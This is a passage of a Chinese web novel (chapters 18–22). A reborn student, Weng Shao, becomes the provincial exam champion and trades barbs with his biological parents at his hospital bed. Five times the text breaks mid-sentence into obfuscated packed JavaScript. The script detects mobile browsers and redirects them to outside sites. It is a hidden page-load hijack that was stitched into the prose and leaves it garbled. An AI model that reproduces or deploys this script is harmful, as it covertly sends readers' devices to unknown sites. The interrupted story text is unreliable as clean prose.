翁绍当然没有事。不仅没有事,他还趁热打铁,起诉了之前在网上造谣他的吧主和营销号。因为证据确凿,那些人只能赔钱道歉。 “我也算是得到了一笔意外之财。”翁绍安慰张畅道:“这就叫做塞翁失马,焉知非福。” 不过他得到的这笔意外之财,跟裴行则赚到的零花钱比起来,就很不值一提了。 一手策划了整件事的裴大总裁早就料到了会有这一天。他一边叫自己的人在网上推波助澜,一边在金融市场恶意沽空翁氏集团。 受到网络舆论和股市做空的双重影响,翁氏集团股价暴跌。短短几天时间,集团市值就蒸发了十几个亿,作为空头的裴行则却趁机赚了九千多万。 他还给翁绍发了一百万的奖金。生怕翁绍不收,他还说这笔奖金是翁绍应得的:“你知不知道我身边,衷心得用的人为什么那么多?就是因为我出手大方。有错必罚,有功当然也要赏。” 翁绍可没有把钱往外推的习惯,他收好裴行则给他的支票,温声道谢——既是感谢裴总带着他一起发财,也是感谢之前视频的事情。 裴行则没有把他失态的画面放出去,博取网友的同情,而是给他留了一点点体面。虽说翁绍上辈子丢脸丢惯了也无所谓,但他还是感谢裴大老板的体贴周到。 “不用谢。”裴行则神情专注地看着翁绍,目光中带着连他自己都没察觉到的一丝温情:“你也说过,你是我手中的一把枪嘛。” “一个最顶级的猎手,当然要好好保养自己的枪。” “所以你不用跟我道谢,这都是我应该做的。” 18.第 18 章 可以查分的前一晚,翁绍接到了京海大学打来的电话。 猝然响起的手机铃声惊醒了睡梦中的翁绍。在震动鼓膜的心跳声中,翁绍看了一眼床头桌上的闹钟——凌晨三点整。 窗外仍旧是一片漆黑。翁绍打开床头柜上的台灯,昏黄的灯光瞬间驱散了周围的黑暗。翁绍坐在被灯光笼罩的小小方寸之间,安静聆听这个足以改变他一生的喜讯。 也是上辈子,让他到死都不能释怀的一缕遗憾。 挂断电话后,翁绍默不作声地躺回床上。瞪着眼睛看着头顶的天花板,仿佛眨眼之间,天就亮了。 恍惚之间,翁绍又接到了几所大学招生办打来的电话。 安静到落针可闻的单人宿舍内,清脆悦耳的手机铃声此起彼伏。这一个晚上翁绍都没能睡好,然后在第二天早上,已经好多年没有生过病的翁绍发起了高烧。 他浑浑噩噩地躺在被窝里,烧得浑身都是冷汗,但他甚至都没意识到自己生病了。只觉得浑身上下哪儿哪儿都不舒服,酸楚的疼痛顺着毛孔钻进了骨头缝里。 他仿佛进入了又一层梦魇。梦中时光飞速倒退,他置身于冰冷阴暗的停尸房中,居高临下地凝视着裴行则熟睡的躯壳。记忆中健康紧致的皮肤在头顶白炽灯光的照耀下,变得青白惨淡,原本温热的身躯也被冷气吹得又冰又凉。翁绍伸出手,紧紧握住裴行则的手,却怎么都捂不热。 有人在耳边劝他节哀。翁绍听不明白,他有什么好节哀的。 翁绍闭上眼睛,裴行则的躯壳不见了。从黑暗中却又孵化出许许多多狰狞恐怖、青嘴獠牙的鬼影。他们长着翁英杰、翁缜、翁绥、周舒静甚至是更多人的脸,那些脸孔嘶吼咆哮着冲向他,在逼近的瞬间张开血盆大口,凶悍地撕咬着他的灵魂。 翁绍知道自己陷入了噩梦,但他怎么都清醒不过来。 直到宿舍房门被人“砰砰砰”地敲响,久久没有得到回应的裴行则用力踹开房门,从潮湿的被窝里捞出湿淋淋的翁绍。 “你发烧了,我送你去医院。” 听到耳边的声音,翁绍用尽力气睁开双眼。梦魇中的青白躯壳变成了眼前鲜活的人,他甚至听到死人在说话。就像无数个静谧夜晚,或者晴朗白日里他曾见到过的那样。 被裴行则抱在怀中的翁绍甚至不需要多用力,就能触碰到裴行则的胸膛。温热的皮肤包裹着怦怦跳动的心脏。 “是热的。”翁绍喃喃自语。 裴行则没听清翁绍在说什么,他还以为翁绍被烧糊涂了说胡话。他一边抓住翁绍不安分的手,一边句句有回应地说道:“别担心,我们现在就去医院。” 他抱起翁绍冲出宿舍。黑色的劳斯莱斯幻影如同一支利箭,穿透清晨空旷寂静的街道,以最快的速度抵达医院。 翁绍再次睁开眼睛,已经是下午了。 明媚的阳光从窗外投进病房,驱散了埋伏在黑暗中的一切阴霾。无论多么刻骨铭心的仇恨和遗憾都在此刻乖巧地藏进安静流淌的血管里。 翁绍看了一眼挂在头顶的吊瓶。阳光照耀在玻璃瓶上,折射出耀眼的光晕。透明的药液顺着输液管进入翁绍的血管,手背冰冰凉凉的。 “你醒了。”一直坐在病床边上的裴行则松了一口气,伸手摸了摸翁绍的额头,笑吟吟道:“不烧了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361950|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等翁绍开口,他又笑着调侃道:“放心吧,医生说我们来得很及时,不会烧坏你聪明的脑袋瓜的。我的状元先生。” 状元? 翁绍轻轻挑了下眉。 裴行则解释道:“高考分数已经出来了,你考了698分,是本省的高考状元。” 翁绍轻轻呼出一口气。他知道自己考得好,却不知道自己考得这么好。 “恭喜你,”裴行则轻轻鼓了鼓掌。一边起身为翁绍倒了一杯温水让他润润嗓子,一边笑着说道:“你考得这么好,作为你的老板兼资助人,我与有荣焉。我认为一定要对你的成绩给予奖励。” 他装模作样地思考了一瞬,开口说道:“就奖励你十万块钱怎么样?” 翁绍漆黑幽邃的眼眸中氤氲出一丝笑意:“我的老板果然出手大方。” “这是我身上为数不多的美德之一。”裴行则彬彬有礼地表示。 翁绍摇了摇头,显然并不同意裴行则的说法:“在我看来,裴总绝对是这个世界上最完美的人。” 裴行则毫不意外被逗笑了:“也就只有你会这么想。”好多人恨不得活剥他皮、生啖其肉。 翁绍反问:“有我一个,还不够吗?” 裴行则哑然失笑,举手讨饶:“够,当然够。人生得一知己,足矣。” 翁绍静静看着面前玩世不恭的裴行则,脑海中想到的却是这人撞破房门,将他毫不犹豫拽出梦魇的一幕。 他有些无力地眨了眨眼睛,心想人类真是世界上最奇怪的动物。他们笃定自己不会踏入同一条河流,却能在不同时间,反复爱上同一个人。 19.第 19 章 傍晚时分,得知翁绍突然发烧的陈老师来医院探望病人。她来的时候,带了一束新鲜的百合花。晶莹剔透的水珠随着她的走动,在花蕊上摇摇欲坠,沁人的幽香在空气中弥散开来。 “恭喜你成为本省的高考状元。”陈老师将百合花插到床头柜上的玻璃花瓶中,笑眯眯道:“老师很高兴,你的成绩对得你这么多年的付出。你是我们所有人的骄傲。你也应该为你自己感到骄傲。” 翁绍听到这里,轻轻笑了。浅淡的笑容浮现在他苍白如玉的面容上,就像是清风拂过平静的水面,忽然荡漾出一道涟漪。 大概是因为从小就营养不良的缘故,翁绍的唇瓣一直都没什么血色。此刻却因为高烧刚退,平添了一抹鲜艳的红。在乌黑头发和幽深瞳仁的衬托下,愈发像是不小心蹭到羊脂玉上的一抹胭脂,白的愈白,黑的愈黑,红的愈红。 他的神情淡淡的,浑身上下都透着大病初愈的虚弱,只有两颗黑沉沉的眸子亮得惊人。眼波流转间,泛着一股志在必得的野心和笃定,就像是两簇蓬勃燃烧的火焰,衬得他雪白面颊上的两粒黑瞳,竟比夜空中的寒星还要璀璨。 “其他同学考得怎么样?”翁绍张口,问出的问题却跟他一点关系都没有。 陈老师听到翁绍的话,脸上的笑容更深了:“全都超常发挥。” 顿了顿,陈老师补充道:“我想,这都要归功于你的学习笔记和复习方法。” “翁绍,你不仅改变了自己的人生,也改变了大多数同学的一生。你让他们有机会考上更好的学校,登上更广阔的平台。” 陈老师说到这里,忍不住心潮澎湃。她又跟翁绍分享了另外一个好消息:“你的学习笔记已经正式出版了,出版社将这套笔记正式定名为《状元笔记》。第一版共印刷五千套,每套六册——” “不够。”坐在沙发上安静削苹果的裴行则忽然开口。他将刚刚削好的苹果切成一块块的,用小叉子插好了,分别递到翁绍和陈老师的手上,笑吟吟道:“五千套不够,至少要十万套。” 此时天色已经暗了。残阳如血,裴行则的轮廓隐没在渐渐暗淡的暮色中,看不太真切。陈老师张了张嘴,正想说点什么,外面走廊上突然传来了一阵嘈杂的声响。 没一会儿房门被敲响了,几颗脑袋从门板后面小心翼翼地探出来:“请问翁绍是在这里——” 话没说完,几人一眼就看到了病房里的翁绍和陈老师。 “陈老师,原来你也在?” “翁绍,我们来看你啦。” “你怎么生病了?” 一群人鱼贯进入病房。打头的是翁绍的室友张畅、周铭京和蒋睿,后面跟着高三一班的同学。林林总总二十来号人,顷刻间就把宽敞的单人病房塞满了。 张畅和蒋睿把手里的鲜花果篮放到茶几上,周铭京一脸兴奋地说道:“我们在楼下还看到了记者,他们好像是来采访你这个高考状元的。” 翁绍抬眼看向裴行则。有人想要采访他,他怎么不知道? 裴行则言简意赅地说道:“你生病了。” 言外之意,他不允许记者在这种时候打扰病人。 裴行则心想:天知道那些记者都是谁派来的,又在私底下收了谁的红包。他又不是周扒皮,怎么可能会让高烧刚退的病人接受新闻媒体的采访? 虽然他从不怀疑翁绍的智商和口才,但他也不是那种会压榨病患的黑心老板好吧? 翁绍正盘算着,如果记者来了,他该在镜头前怎么表现,才能确保利益最大化。一抬头就看到了面容沉稳但是兀自委屈的裴大少。 翁绍:“……” 察觉到了裴行则暗藏在精英皮囊下的小情绪,翁绍眉眼温润的笑了下,慢条斯理地说道:“多谢裴总,我其实也不想在这种时候面对记者。我怕我脑筋转不动,被他们钻了空子。” 没等裴行则说话,翁绍的同班同学们义愤填膺地开了口:“不接受他们的采访就对了。谁知道那些记者会问出什么问题?万一他们是你亲爸派来的呢?” “你现在正病着呢,哪有精力跟他们打口水仗!” 裴行则顿时就像大夏天里,喝了一大桶冰镇啤酒那么凉爽畅快。 他沉眉肃目,十分沉稳地走到病床前,拿起遥控器将病床慢慢升起来,让翁绍可以靠得更舒服一点。又让护工给话说多了的小客人们拿饮料:“冰箱里什么都有,你们想喝什么自己拿。” 这么一打岔,一群人立刻忘了抨击记者和翁绍亲爸的事儿,纷纷开口道:“谢谢裴总。” 裴行则稳稳当当地回答:“不客气。你们能来探望翁绍,有心了。是我该谢谢你们才对。” 啊? 一群人面面相觑,满头雾水地挠了挠头。总觉得这话从这位裴总的口中说出来,好像哪里不对! 翁绍暗笑不语。 成功安抚好裴大总裁以后,翁绍将视线落到张畅的身上:“你怎么也来了?” 张畅拧开一瓶可乐,一口气喝掉大半瓶。听到翁绍的询问,立刻说道:“我刚下飞机,就接到了周铭京和蒋睿的电话。先是跟我说高考出分了,咱班同学考得都不错,你还是咱们省的高考状元。又说你住院了,咱班同学都想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369059|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来看看你,问我去不去。我一听连家都没回,从机场直接打车过来的。” 话音未落,房门又被人推开了。 裴行则看着推门进来的人,面色蓦地一沉:“你们来干什么?” 好不容易才带着记者进来的翁英杰也是脸色铁青:“我的儿子生病发烧了,我来看望我的亲生儿子,有什么问题吗?倒是裴总你,不仅处心积虑地挑拨我们父子相残,现在还想利用一个生病的孩子,你的手段未免也太下作了吧。” 站在门口的翁英杰说到这里,痛心疾首地看着病床上的翁绍:“他还只是个孩子,他什么都不懂。咱们两家的恩怨,能不能别牵扯到他!” 翁英杰说完,一直站在他旁边默不作声的周舒静突然冲了上来。她以迅雷不及掩耳之势扑到病床前,一把抓住翁绍的手腕,哭着说道:“我可怜的儿子,你生病了为什么不告诉我?我就说我一早起来就心神不宁的,眼皮一直乱跳,原来是你出事了。” “老话都说母子连心,我还不信。可我现在信了。不管怎么说,你都是我怀胎十月生下来的孩子,我怎么可能会不疼你?你知不知道我看着你现在这个样子,心里有多疼?” 病房外,一群记者扛着长枪短炮,争先恐后地录像拍照,甚至还想挤进病房。被裴行则一个眼神拦在外面。 “我说过,不许拍!” 看着明显就要发火的裴行则,躺在病床上的翁绍抢先开口:“你当我是死人啊?” 好像淬了冰碴子的嗓音立刻冻住了趴在他身上嚎啕大哭的周舒静。 “你还相信母子连心?”翁绍低下头,仔细打量着周舒静连妆都没哭花的脸,讥讽地勾了勾嘴角。他的桃花眼在笑意的晕染下变得缱绻潋滟,从嘴里吐出的话却犀利的像是一把把尖刀:“我在乡下吃了十八年的苦,你在京海享了十八年的福。要是真有母子连心,前面那十八年怎么没疼死你?” “还是说,你所谓的母子连心,只跟翁氏集团的股价挂钩。翁氏集团的股价跌得越惨,你的心就越疼?” “那你现在是不是连呼吸都会觉得痛?” “我跟你的状况就恰好相反。”翁绍甩开周舒静的手,从床头柜上的湿巾盒里抽出一张消毒湿巾,慢慢擦拭着被周舒静握过的手背,神采奕奕地说道:“翁氏集团的股价跌得越惨,我的心就越痛快。我们老板之前做空翁氏集团赚了一大笔,还给我发了一百万的奖金,我现在开心的不得了。” “如果咱们两个真是母子连心,那你现在应该跟我一样高兴。你哭这么惨干什么?” “难不成,是喜极而泣?” 20.第 20 章 周舒静整个人都僵住了。 她的脸上还虚假地堆砌着一个母亲在听到孩子生病后本该流露出的关切和心疼——尽管这点外显的情绪非常浮于表面,演技拙劣到还不如一个科班出身的新人演员。可她的眼神却在听到翁绍刻薄到了极点的嘲讽以后,陡然变得愤恨怨毒。两种情绪糅杂在她妆容精致的面庞上,竟然呈现出了极为复杂的变化。 就像是一张被胡乱抹脏的京剧花脸—— “咔嚓”一声,翁绍拿出枕头下面的手机,以迅雷不及掩耳之势怼到周舒静面前,拍了一张照片。 “这是艺术。”翁绍郑重其事地说道:“要不是亲眼所见,相信你们很难想象,这么复杂的表情可以出现在一个人的脸上。” “翁绍!”周舒静忍无可忍,终于爆发了:“你到底想干什么?你到底要我怎么做你才会放过我们?” 她尖锐高亢的声音就像是麦克风炸麦时陡然响起的爆鸣,带着一种歇斯底里的声源污染,直挺挺地钻入翁绍的耳朵。 翁绍被吵得一阵耳鸣。他有些眩晕地捂住耳朵,难受地皱了皱眉。周舒静却趁机夺走了她的手机,手忙脚乱地点开相册删照片。 然而她的动作还是晚了一步。翁绍已经把照片发送到他的班级群,还有年级大群里面去了。 “你都干了什么?你为什么要这么做?你想毁了我是不是?”周舒静只觉得一股无名火蹭地蹿上天灵盖。她目眦欲裂地瞪着病床上安然端坐的翁绍,恐怖的红血丝瞬间爬满了她的眼球,让她的脸看上去愈发扭曲狰狞。 周舒静也确实恨得要死。要不是病房外面还站着一群录像拍照的记者,她真恨不得一巴掌扇在翁绍的脸上。 可惜她不能!她只能把翁绍的手机狠狠砸到地上。只听“砰”的一声,刚买没几天的手机被摔得四分五裂。两行清泪随着周舒静的动作流淌下来,黑色的眼线蜿蜒出两道歪歪扭扭的痕迹。她的妆终于花了。 翁绍好整以暇地躺在病床上,还有闲心评价周舒静的演技:“你现在哭得比刚刚顺眼多了。” 停顿片刻,翁绍补充道:“至少真情实感。” “你真是个疯子!”周舒静大口大口地喘着粗气,胸膛急剧起伏。即便她自诩是个有涵养的上流人,此刻也无法控制从心底诞生的暴虐情绪:“我怎么会生出你这么恐怖的儿子,你简直不是人。” “那真是随根儿了。”翁绍虚伪地拍了拍手,笑容可掬道:“这恰恰说明我们是一家人。” 言外之意,他显然觉得翁家所有人都不是人! “够了!”翁英杰面色铁青地开口。他满脸厌恶地看着翁绍:“我不知道你听了谁的蛊惑,竟然真的蠢到帮助仇人对付自己的亲人。可我必须提醒你,你以为裴行则真的对你好吗?那只不过是因为你现在还有利用价值,他要利用你来对付我们。所以才用一点小恩小惠收买人心,勾着你对他言听计从。” “等你没有利用价值的时候,他就会一脚踹开你。等到那个时候,他仍旧当他的裴家大少,可你却只能众叛亲离,成为一条丧家犬。” “你还太小了,根本不明白人心险恶。就像你这次高烧住院,他不告诉我们也就算了,为什么连余蕙心都不告诉?” “他分明是想利用这个机会,剥离你跟亲人的关系,营造出你身边只有他一个人会关心你照顾你的假象,让你对他产生更多的依赖感,他就能更好更彻底的利用你。”翁英杰苦口婆心地说道。 裴行则心虚地瞥开眼。他没有通知余蕙心来照顾病人,确实是有私心。因为他想翁绍睁开眼睛看到的第一个人是他。 翁绍眼皮轻轻动了一下,默不作声地看向裴行则。 翁英杰见状,误以为自己的挑拨离间奏效了。他精神一振,再接再厉道:“要不是我们从记者口中得知——” 话没说完,就被一句迟迟疑疑的反问打断了:“……那个,我们不是人吗?” 翁英杰的长篇大论戛然而止。 众人循着声音齐齐看过去,只见张畅一脸尴尬地举起右手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378971|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讪讪说道:“我们这么多人,都是来看翁绍的!” 一直沉浸吃瓜的同学们后知后觉,立刻反应过来:“对啊!我们都很关心翁绍啊!啥叫只有裴总一个人会关心他照顾他啊!” “翁董事长是真没把我们当人看啊!” 刚刚措手不及的裴行则也反应过来了,矜持地开口为自己辩解:“我是早上去宿舍接人的时候,意外发现翁绍在发烧。我立刻送他到了医院,也没来得及通知余蕙心女士。” 翁绍的眼中氤氲出一点笑意。他对裴行则的小算盘心知肚明,此刻也不咸不淡地开口说道:“我醒来的时候,没让裴总通知我的母亲。我只是发烧,又不是病到快死了。既然医院有裴总,还有护工照顾我,就没必要让我妈请假过来照顾我——她刚上班就请假,不仅要扣工资,还会给公司领导和其他同事留下不好的印象。” “我不能仗着裴总对我有恩,就恃宠生娇。” 听到翁绍竟然用了“恃宠生娇”这个词,裴行则顿时觉得心脏不争气地剧烈跳动起来。他也不知道翁绍是不是高烧刚退,没有找到更合适的字眼——其实这个成语也挺合适的。 裴行则美滋滋地想到:翁绍这样有能力有手段乖巧听话且知情识趣的员工,就算恃宠生娇了又怎么样?他裴行则宠得起! 他可是全世界最好的老板! 裴行则轻咳一声,立刻表示:“这件事是我疏忽了,没有想到你生病时会想念家人。我会让孟助理开车送你母亲过来。” 翁绍摇了摇头,显然他并不赞同裴行则的想法:“裴总对我已经很好了。没有几个老板会在上班时间照顾生病的员工,更何况是裴总这样日理万机的总裁。” 裴行则看着翁绍感激涕零的小眼神,登时觉得浑身骨头都轻了三斤:“你不能这么想。你不只是我的员工,还是我的朋友。朋友之间,不需要这么斤斤计较。” 翁英杰一脸糟心地看着被翁绍一句话就哄得飘起来的裴行则,满肚子的挑拨离间竟然一句都说不出来了。 21.第 21 章 说又说不通,骂又骂不过,被怼到哑口无言的翁英杰夫妇只能灰溜溜地离开,临走之前还被翁绍讹走了一万块——赔偿手机的钱。 两人怒气冲冲走到医院门口的时候,恰好碰到了匆匆赶来的孟助理和余蕙心。 新仇旧恨加在一起,周舒静登时就炸了:“你是怎么给人当妈的?翁绍病得那么严重,你不在医院照顾他,在外面招摇什么?果然不是亲生的,就是不上心!” 余蕙心刚下班,身上还穿着临湖雅苑的保洁制服。翁英杰夫妇看在眼中,就更觉得扎眼了:“你们母子两个还真是如出一辙的下贱!一个放着好好的翁家三少爷不当,跑去给裴行则当狗腿子;一个就把自己老公扔在家里不管不顾,跑去仇人的公司当保洁。你居然还敢穿着这身衣服四处招摇……真是丢人现眼!” 余蕙心一张脸蹭地红了:“我怎么下贱了?我怎么丢人现眼了?我自食其力、自力更生,靠我自己的双手养活我和孩子,没朝别人要一分钱。你们倒是翁绍的亲爸妈,来医院探望病人还要带记者,你们可真上心!” 孟助理就站在余蕙心的身边,当然不能坐视翁英杰夫妇欺负他们公司的员工:“我倒是觉得余蕙心女士凭借自己的能力赚钱养家,是一件非常高尚的事情。翁董事长和翁夫人要是真觉得余蕙心女士在临湖雅苑工作,是丢了翁家的脸,不如好好反思一下自己,为什么会有这么高高在上的离谱想法?难不成是资本家当久了,就看不起艰苦朴素的劳动人民……” 孟助理话没说完,翁英杰已是勃然色变。 “我们当然不会有这样的想法!”翁英杰飞速开口,目光阴森地看着孟助理:“你也用不着在这里上纲上线。我们只是觉得大嫂她放着瘫痪在床的老公不管,跑出来给人当保洁,既赚不了几个钱,又不能很好的照顾家里,有些顾头不顾尾。” 他们夫妇两个暗戳戳带进医院的记者还跟在后边呢,周舒静立刻反应过来,开口描补道:“可不是嘛!她去临湖雅苑当保洁,一个月能赚几个钱?我们给大哥雇的护工,一个月都要八千块!” 周舒静说到这里,一脸刻薄地看向余蕙心:“你说你瞎折腾什么?如果你愿意回去照顾大哥,我们可以把这笔钱给你。” 余蕙心原本都被周舒静的话气得浑身颤抖,听到这里忽然冷静下来。她表情古怪地看着周舒静:“你说你花了八千块请护工?” 不等周舒静反应过来,余蕙心犀利反问:“你宁愿花八千块请护工,都不愿意资助你的亲儿子上大学!” “我看真正下贱的人是你们才对。”余蕙心一脸憎恶地看着翁英杰夫妇:“你们不仅下贱,还愚蠢、恶毒、见不得别人好。” “你——” “我什么我?”余蕙心不耐烦地打断周舒静的话:“我是不会回去的。我要跟我儿子在一起。再说照顾翁英雄本来就是你们两口子的责任。当初要不是为了救你,翁英雄怎么可能会落下残疾。” “翁英杰,做人可不能没有良心!” 余蕙心说完这句,昂首挺胸地朝着电梯的方向走去。路过一群记者的时候,还不忘落井下石:“你们该不会又是被翁英杰两口子请来的吧?他们给你们包了多少钱的红包?” 不等记者们反应过来,余蕙心补刀道:“说不准给你们的钱,都够翁绍读到大学毕业了。” 所以真正瞎折腾的人究竟是谁呢? 周舒静看着余蕙心和孟助理大步流星的背影,气得脸都紫了。 “好,很好,我看他们还能猖狂多久!”翁英杰的眼中闪过一抹寒光。翁绍不是很喜欢在新闻媒体上卖惨嘛!他成全他。 * 病房里,翁英杰夫妻走后,陈老师和前来探望翁绍的高三一班同学们也都离开了。余蕙心坐在翁绍对面,一脸忐忑地说道:“我在楼下碰到你二叔二婶了,你也按照你说的,把他们臭骂了一顿,骂的可难听了……他们会上当嘛?” 正在喝粥的翁绍微微一笑:“那就要看他们究竟有多恨我了。” 他把一个现成的把柄送到他们手上,就像是把一块丰厚的筹码送到一个输红眼的赌徒面前。至于对方愿不愿意拿着筹码继续上桌,其实很容易猜。 带着余蕙心离开小河村之前,翁绍以他们母子两个忙于生计,没精力照顾一个瘫痪在床的病人为由,把翁英雄扔给了翁老爷子。 翁老爷子再是精神矍铄,他的年纪摆在那儿,根本没有能力照顾一个瘫痪在床的病人。 正好翁英杰和周舒静想要挽回名声,他们巴不得留下翁英雄好好照顾,以此证明自己并不是忘恩负义的白眼狼。他们有的是钱,他们愿意花最高的价钱,请最好的护工照顾翁英雄。 可是翁英雄真能心甘情愿接受翁英杰高高在上的施舍吗? 事实证明翁英杰的想法还是太简单了,或者说他们低估了翁英雄作妖的能力。他们高薪请来的护工,竟然没一个能忍受得了翁英雄非打即骂,恨不得全天二十四小时都要搞出点幺蛾子的暴脾气。干不上两天就辞职了。 翁英杰和周舒静没有办法,只能请村里的人帮忙照顾翁英雄。乡里乡亲的,都是熟人,就算翁英雄瘫痪在床没有生育能力,村里人也不可能让自己的老婆去照顾一个四十郎当岁的男人。那就只能请男护工。 可是村里的男人连自己都照顾不明白,又怎么可能照顾好一个瘫痪在床的病人? 没过几天,翁英雄就受不了了。 以前瘫痪在家,余蕙心一边干活,一边把他照顾的无微不至。就连翁绍都懂得端屎端尿,给他按摩擦身。可他现在却连尿在炕上都无人理会。 翁老爷子年事已高, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15385202|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也受不了成天大吵大闹的大儿子,只能让村里人把翁英雄搬回原来的家。 那不就是让翁英雄自生自灭嘛! 不甘心被家人一再抛弃的翁英雄大受刺激,闹得更厉害了。 一个人,只有当他意识到自己会彻底失去一样东西或者一个人的时候,他才会知道珍惜,直到后悔,知道害怕。 “你知道弃猫效应吗?” 余蕙心讷讷摇头。 翁绍笑道:“不知道也无所谓。” 总之,被乡亲们搬回老宅的第二天,翁英雄就打电话给翁英杰,要求翁英杰把余蕙心和翁绍找回来。 ——没错,折腾了一回的翁英雄不仅要找媳妇,他还要找儿子。 “你别忘了,翁绍是你过继给我养老送终的。我养了他十八年,现在他翅膀硬了,就想不管我?” 翁绍没有认回翁英杰这个亲生父亲,也不肯收翁英杰的钱,甚至还巴结上了翁英杰的仇人裴行则,打算跟他的亲生老子打擂台!这个事实一度让翁英雄产生了一种隐秘的喜悦。 那是一种坐山观虎斗,冷眼旁观父子相残的兴奋和期待。只可惜这种阴暗见不得人的,像沥青一样粘稠腥臭的喜悦情绪还没来得及扩散,翁英雄就迎来了当头一棒—— 翁绍和余蕙心竟然甩下他,自己去城里过好日子了。 刚被抛下的那几天,翁英雄还憋着一口气,想要证明自己就算没有他们也能过得很好。 可是翁英雄立刻意识到,这种生活品质必须建立在翁英杰肯给他花钱。 翁英雄要强了大半辈子,甚至苛待老婆孩子,就是为了争这口气。可现在他的老婆孩子没花翁英杰一分钱,他却要仰人鼻息,甚至连翁英杰请来的护工都能嫌弃他! 这个认知再次碾碎了翁英雄稀薄却膨胀的自尊心。就像是一颗越吹越大的气球,再也承受不住的一瞬间,只会砰然炸裂! 炸完之后,就什么也不剩了。隐秘的羞愧、蓬勃的愤怒、愤怒过后的空虚,种种情绪在翁英雄从乡亲口中得知翁绍的日子过得越来越滋润风光,甚至摇身一变成为本省的高考状元以后,到达了顶点。 一想到翁绍的未来会像翁英杰一样光明璀璨,翁英雄的五脏六腑就像是在硫酸里泡过一样。 他不能接受翁绍跟余蕙心抛下他过好日子。他害怕翁绍和余蕙心真的抛下他去过好日子。 所以他给翁英杰打电话,让翁英杰想办法帮他找回老婆孩子。他跟翁英杰说,他不需要翁英杰的施舍,余蕙心是他的老婆,翁绍是他法律上的儿子,儿子养老子天经地义。 他翁英雄才不是什么仰人鼻息的废物。他要去给翁绍当老子! 这是翁英杰欠他的。 父债子偿,天经地义。 哪怕是闹到电视台上,他也不怕! 22.第 22 章 一个省高考状元价值多少钱? 翁绍没有关注过别人的“身价”,但他自己却见识到了什么叫“书中自有黄金屋”。 高考分数出来之前,翁绍就接到了各大院校的招生电话。每位招生老师都在电话里面透露过报考各自院校的待遇和福利。包括但不限于专业任选、减免学费、奖学金激励……其中京海大学给出的新生奖学金是五万块,其他重点院校给出的奖学金从10万元到30万元不等。 高考分数出来以后,得知翁绍以702分的优异成绩斩获本省高考状元,作为翁绍母校的市一中为翁绍提供了两万块的奖学金。 除此之外,市一中所在区奖励翁绍五万块钱,市里奖励翁绍十万块钱,省里奖励翁绍二十万元,还有裴氏集团希望工程助学基金也奖励了翁绍十万块。 以上是翁绍能够拿到的奖学金,在翁绍确认就读京海大学金融系以后,共计是五十二万元。 然后就是各大企业为了给自家做宣传,主动找上翁绍这位新鲜出炉的省高考状元,想让翁绍为他们家的产品做代言。 其中出手最大方的还是裴氏集团——裴行则以翁绍在临湖雅苑当售楼顾问为由,直接赠送了临湖雅苑一套房给翁绍,美其名曰蹭蹭省状元的文气,给自家楼盘打个广告! 于是翁绍在临湖雅苑勤工俭学不到一个月,还没卖出几套房,就先白得了一套——一百五十平的三室一厅,南北通透,有电梯。 除此之外,还有学习机、运动鞋、休闲服饰、自行车、零食、饮料,甚至是补脑保健品等各种品类的品牌方,每天都会孜孜不倦地给翁绍打电话。宣传费用从最初的五万十万一路提升到发一条推广就给几十万,势必要签下翁绍不可。 这也不怪各大品牌方对翁绍趋之若鹜,实在是因为翁绍最近一段时间的知名度和流量太大了。 拜各路媒体和网络营销号对翁绍,以及翁绍家事孜孜不倦的宣扬,现在全国除了断网断电断电视断报纸杂志的消息闭塞之辈,就没有不知道翁绍其人的。 这种全国人民喜闻乐见的吃瓜热情,在翁绍被爆出即将参加京海市电视台金牌访谈节目《对话人生》,以及翁绍的养父翁英雄同时也接受了京海市电视台收视率最高的民生节目《在线调解》的邀请后,达到了巅峰。各大品牌方想要跟翁绍合作的意愿就更强烈了。 他们非常清楚这种平台的王牌节目自带的宣传和曝光,能给自家产品带来多么大的宣传力度。 翁绍也很清楚。 